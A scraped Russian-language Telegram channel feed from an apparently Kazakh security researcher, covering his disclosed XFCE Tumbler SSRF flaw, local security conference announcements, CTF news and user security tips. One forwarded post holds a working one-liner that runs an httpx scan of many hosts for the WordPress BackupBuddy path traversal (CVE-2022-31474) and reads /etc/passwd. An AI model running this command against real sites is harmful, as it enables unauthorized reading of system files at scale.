One brick to the IT world
783 subscribers
56 photos
7 videos
4 files
98 links
Download Telegram
Обнаружил SSRF-уязвимость в плагине Tumbler для XFCE, которая работает по умолчанию. Если кратко, суть в том, что при открытии директории с m3u8-файлом с расширением .mp4 (работает и для .mp3, .avi, .mpg, etc.) можно отправлять любой GET-запрос на любой сервер.

Работает в последней версии Kali Linux, Debian XFCE, и скорее всего в любом другом дистрибутиве Linux с XFCE на борту. Но большую опасность, наверное, несет для Kali Linux, пользователи которого локально тестируют уязвимые приложения типа DVWA, и одного запроса может хватить для компрометации компьютера.

Патч и исправленная версия уже выпущены.

Подробности на моем блоге:
https://murat.one/?p=187

#ssrf #xfce #kali #debian
👍9🔥1
Forwarded from Sys-Admin InfoSec
Open SysConf 2022 - Updates: Анонс доклада
 
Привет, последний день лета не означает, что все летнее, праздничное - уходит до следующего года, скоро наступит 14 Октября и мы снова окунемся в теплую и дружественную обстановку Open SysConf'22.

Готовы стикеры, пару подарков и конечно несколько тем докладов, один из которых хочу презентовать вам:

— Автор: @novitoll - автор deep dive ресерчей, патчер ядра Linux и конечно же автор множества различных статей и докладов, имеет свой канал https://t.me/novitoll_ch и всегда старается шарить полезную инфу людям, в том числе и на Open SysConf'ах

— Доклад: Практический опыт с 4G, 5G
— Кратко о докладе: Кодим Rx, Tx функционалы на С, описывая теорию (OFDM/SC-OFDM демодуляция, логические и транспорт каналы 4G, 5G) и подводные камни при имплементации. Анализируем трафик.)

Скажу от себя, все технические детали, а их будет очень много будут представлены в доступном и демонстрируемом виде.

В общем дорогой друг, не теряйся:
- https://sysconf.io
- 14 Октября, с 11:00 до 20:00, Алматы
- И просто для галочки, не в службу, а в дружбу, как посетитель зачекинься в этой форме.

Всем добра. Peace ✌️.
 
👍31🔥1
Forwarded from Devious Methods
В TryHackMe появился модуль Host Evasions!

This module provides the essential knowledge and fundamental techniques to bypass various host-based security solutions, including AV products, UAC and AppLocker, Logging, Runtime Detection, and AMSI. You will also learn the Living-Off-the-Land technique and how to leverage the Windows Sysinternals tool to perform various Red Team purposes

https://tryhackme.com/module/host-evasions
🔥5
Ожидается интересный доклад про нейромаркетинг от Евгения Гончарова, приходите :)
Forwarded from Sys-Admin InfoSec
Hey all, tmrw I will speak at the KazHackStan conference with my presentation with subject:

* Open-Source Projects Responsibility Awareness (by Open BLD Example)

All details you can see on KazHackStan.kz, let's burn 🔥 tomorrow, who will be in Almaty let's get acquainted and let's talk, try to share knowledge with each other 🤘
🔥31
Forwarded from BugXplorer
CVE-2022-31474
https://twitter.com/shaybt12/status/1569794789175967745

cat hosts |httpx -title -path "/wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-
id=/etc/passwd&local-download=/etc/passwd" -match-string "root:x:0:0"

#bugbountytips
👍3
Forwarded from Sys-Admin InfoSec
Open SysConf'22 - SSRF-уязвимости / Старый... Но не бесполезный IRC
 
Привет, мы идем вперед согласно своей правде и намерениям обнаруживая уязвимости и сигнализируя алертами об аномалиях в наших (и не только) системах.

Детали двух новых докладов на 14 Октября

История одного CVE
- Автор: @manfromkz. Senior Security Testing Engineer | OSCP | eWPTXv2 | eCPTXv2 | Master of Computer Sciencer
- Краткое описание: Рассказ о том, как простой пентест веб-приложения привел к выявлению SSRF-уязвимости в популярном менеджере рабочего стола для Linux.

Старый... Но не бесполезный
- Автор: @t2micro. DevOps
- Краткое описание: Применение протокола IRC в современной инфраструктуре для построения сервис-ориентированной модели алертинга.

От себя: Мурат и Ильяс мои хорошие друзья и экстра-профессионалы своего дела. Детали вышеприведенных докладов, которые будут представлены на Open SysConf'22 - это уникальный материал от первого лица, возможность не только послушать, но и задать вопросы, пообщаться в неформальной обстановке, обменяться опытом и знаниями простым и понятным форматом.

Перед зимней спячкой ув <username> обязательно приходи 14 Октября в SmartPoint г.Алматы, трансляции не будет, но будет возможность пообщаться в живую. Детали здесь - sysconf.io

Peace ✌️
👍41
Forwarded from Sys-Admin InfoSec
Open SysConf'22 - Сети, Ansible шаблонизация и не только
 
До нашей встречи на Open SysConf в г.Алматы осталось практически 10 дней и я рад презентовать Вам финальные темы докладов:

Сети (хуети) в современном датацентре
- Автор: Айдар Оспанбеков. Архитектор облака PS.kz.
- Краткое описание: С какими проблемами мы столкнулись при эксплуатации сети в публичном облаке; Как и для чего мы отказывались от VLAN в пользу VxLAN; Как строили сеть по топологии spine-leaf с BGP и FRRouting

Шаблонизация Linux систем в организациях
- Автор: Нурбиби "R0b0Cat". Системный администратор.
- Краткое описание: Доклад для тех кому нужно произвести в единый формат linux дистрибутивы в организации

Неявный превентинг констракшн
- Автор: Yevgeniy "sysadminkz". Sys-Adm.in
- Краткое описание: Неявный превентинг - такого термина в интернете не нашел, поэтому расскажу о том, как я вижу defencive подход с позиции неявной превентивной защиты. Создадим новый термин и его понимание прямо в реалтайме ✌️

Голова чтобы думать, ноги чтобы ходить - приходи на Open SysConf 14 октября в SmartPoint, г.Алматы.

Детали на сайте: https://sysconf.io
 
👍1
Forwarded from Sys-Admin InfoSec
Open SysConf'22 - Анонс всех докладов на завтра (14 Октября)
 
До дня Х осталось меньше суток, завтра по плану будет:

— 11:00 - Вступительное слово
— 11:15 - Сабыржан "novitoll" Тасболатов: Практический опыт с 4G, 5G
— 12:15 - Нурбиби "R0b0Cat": Шаблонизация Linux систем в организациях
— 13:00 - Обед
— 14:00 - Дмитрий "ватман": CDC
— 14:50 - Kutlymurat "manfromkz" Mambetniyazov: История одного CVE
— 15:20 - Roman "sysroman": Ansible AWX by Oracle
— 15:45 - кофе-брейк
— 16:00 - Shelldon "Sh3lldon": DEP vs ROP
— 16:50 - Ilyas B Arinov "t2micro": Старый... Но не бесполезный IRC
— 17:20 - Айдар Оспанбеков: Сети (хуети) в современном датацентре
— 18:05 - Yevgeniy "sysadminkz": Неявный превентинг констракшн

План может меняться, уже не обессудьте. Заряжаем себя и друзей, находим силы и возможности и проводим нашу встречу в добром здравии и отношении.

☀️ Завтра встречаем Вас на первом этаже - ул. Байзакова 280 в SmartPoint, г.Алматы
⚡️ Кто не зарегистрировался, зарегистрируйтесь пожалуйста иначе мест Вам может не хватить, детали здесь: https://sysconf.io

Всем Peace ✌️
 
👍4🔥2
История_одного_CVE_@manfromkz_Open_SysConf'22.pdf
1.5 MB
Мой доклад на тему "История одного CVE или как взломать хакера на Kali Linux" на Open Sysconf'22.

Запись доклада выложу позже.
👍15🔥3
Forwarded from b4tr
Всем у кого не стоит двухфакторка в телеге посвящается. Сейчас идут массовые взломы пользователей телегам через различного рода ботов у которых один и тот же функционал. В общем, Вам приходит сообщение с рекламой некоего бота, этот бот просит пройти верификацию, после того как вы отправили боту свой номер телефона, вам приходит сообщение с кодом, и бот просит вас ввести ему этот код, после чего всем вашим контактам и всем группам где вы состоите приходит то же самое сообщение с рекламой, что позволяет какеру пополнять свою базу сдеаноненных пользователей.
ВЫВОД. Ставьте двухфакторку!
🤡3
Forwarded from Sys-Admin InfoSec
Конференция для общения Open SysConf'22 - Видео и Благодарности
 
Рад презентовать вам полный набор обработанного и нарезанного видео докладов нашей четвертой открытой конференции Open SysConf'22

Благодаря всеобщим действиям, тех кто принимал участие в докладах, техническом сопровождении, организации, помощи и волонтерстве, а так же участников и друзей конференции - мы это сделали в этом году еще раз 🎉

01. Open SysConf 2022 - Конференция для общения. Начало
02. Open SysConf 2022 - Практический опыт с 4G. Сабыржан "novitoll" Тасболатов
03. Open SysConf 2022 - Шаблонизация Linux систем в организациях. Нурбиби "R0b0Cat"
04. Open SysConf 2022 - CDC. Дмитрий "ватман"
05. Open SysConf 2022 - История одного CVE. Kutlymurat "manfromkz" Mambetniyazov
06. Open SysConf 2022 - DEP vs ROP. Shelldon "Sh3lldon"
07. Open SysConf 2022 - Сети хуети в современном датацентре. Айдар Оспанбеков
08. Open SysConf 2022 - Неявный превентинг констракшн. Yevgeniy "sysadminkz"

В этом году нам так же помогли компании и команды Nitro Team, Core 24/7, PS.kz

Всем спасибо, мира и успехов в Наступающем. Peace ✌️
1
Инженер информационной безопасности спит в своей постели. Его ноутбук открыт на тумбочке рядом с ним. Внезапно ноутбук начинает издавать странные звуки, и экран начинает мерцать.

Инженер просыпается в панике и смотрит на экран ноутбука. На нем сообщение: «You have been hacked».

Инженер отчаянно пытается отследить хакера, но сообщение исчезает, а ноутбук выключается. Внезапно инженер слышит громкий стук в дверь.

Он идет открывать дверь, но обнаруживает в коридоре угрожающую фигуру в черном капюшоне. Фигура медленно приближается к нему, и он в страхе отступает.

Фигура начинает говорить, ее голос искажен и угрожающ. Он говорит инженеру, что он станет его жертвой, и что он будет преследовать его и его данные столько, сколько захочет.

Инженер в ужасе, но он набирается мужества, чтобы дать отпор. Он хватает ближайший ноутбук и начинает лихорадочно набирать код. Он знает, что если сможет выяснить личность хакера, то сможет защитить себя и свои данные от этой фигуры.

Конец.

————-

Нет, я не стал писателем историй ужасов, за меня это сделал OpenAI ChatGPT (о котором пока не написал только ленивый). Это искусственный интеллект (ИИ), способный писать за вас текст, код или нарисовать что-нибудь по вашему описанию. В моей памяти это пока единственный случай, когда ИИ не просто цепочка if-else, а действительно нейросеть способный к осмысленному диалогу.

В случае с текстом выше, я задал ему такой запрос "Write a script for a horror movie based on the nightmares of an information security engineer".

Ссылка :
https://beta.openai.com/playground

P.S. В сети ИИ уже заставили написать план по уничтожению человечества, выполнять Linux-команды и т.д.

#openai

@onebrick
@onebrick
@onebrick
🔥8👍4😁2
Из Яндекса утекли около 40 гигабайт исходных кодов их продуктов (Алиса, Такси и т.д.). В компании говорят, что утекшие данные старые, но мы все прекрасно понимаем, что даже Linux и Windows до сих пор имеют кодовую базу из 90-х.

То есть, сейчас по сути всем желающим стал доступным код на изучение, и в скором времени, в теории, недоброжелатели могут найти уязвимости и украсть еще больше данных.

Что нужно сделать нам:
- поменять пароли везде, если они одинаковые с паролями, которые вы используете в сервисах Яндекса
- поменять платежную карточку на виртуальную карту с ограниченными средствами в сервисах Яндекса (и лучше везде)
- наконец завести левую сим-карту, чтобы использовать их в онлайн-сервисах

Скриншот с репозиториями:
https://t.me/b4tr_ch/107

#яндекс

@onebrick
@onebrick
@onebrick
🔥6
Forwarded from Karina
Всем привет! Мы открыли регистрацию на beetech conf — нашу ежегодную IT-конференцию.
22 апреля, нархоз.
Программа уже на сайте, в этом году у нас в стриме Инжиниринга два крутых спикера по инфобезу.
@manfromkz расскажет про "код глазами хакера", а Сергей Белов прилетит из Сингапура и расскажет про безопасные фичи v3.

Купить билет можно тут: http://beetech.kz/
🔥3👍1
В Microsoft Excel найдена уязвимость удаленного выполнения кода, идентификатор CVE-2023-24953.

Критичность 7.8 из 10.

Это означает, что в ближайшее время (на самом деле всегда) открывать офисные документы от незнакомых адресатов не стоит.

Источник:
https://twitter.com/TecR0c/status/1656306296931471365

#excel #rce
🔥4👍1🙏1
Вот и завершился Standoff этого года. Я играл за Codeby. Проверяются последние отчеты, но скорее всего мы останемся на первой позиции.

Интересно, что Codeby единственная интернациональная команда на этой кибербитве, где в составе играли казахстанцы, россияне и украинцы. Что в очередной раз доказывает, что вместе - мы сила :)

#standoff
🔥26👍52🕊1
Forwarded from Shelldon's channel💢
Всем привет!

27.07.2023 состоится kazCTF
Организаторами которого являемся мы — команда SPACE и Казахстанская Ассоциация Информационной Безопасности (КАИБ)
Залетайте на этот турнир с призовыми.
Будет 30+ тасков различных категорий: web, crypto, reverse, pwn, osint, misc, scripting, malware analysis

Можно участвовать как в соло так и с командой до 5 человек.

Let's goo!

https://ctf.kazctf.kz/

https://discord.gg/DvWBH2sr
👍9
Forwarded from Sys-Admin InfoSec
🚀 Open SysConf'23 Открыта регистрация на 16 Сентября
 
Помимо регистрации, предварительно обозначены keywords/тематики конференции:
— eBPF "сниффинг"
— "Старт" в Kubernetes
— RHCSA "путь сертификации"
— "кто есть" Software Analyst
— Тестинг "нагрузочный"
— Применение профессионального опыта в разработке и автоматизации анализа рынка недвижимости
— Как сделать открытый сервис, который поддержали world level компании и проекты на примере OpenBLD.net DNS

Напоминаю: в этом году Open SysConf.io поддержала локацией и всем сопутствующим команда из Kolesa Group где собственно вчера в видео-приглашении и засветили локацию 👀.

Количество мест строго ограничено. Успевайте зарегистрироваться — Стать участником
2🔥2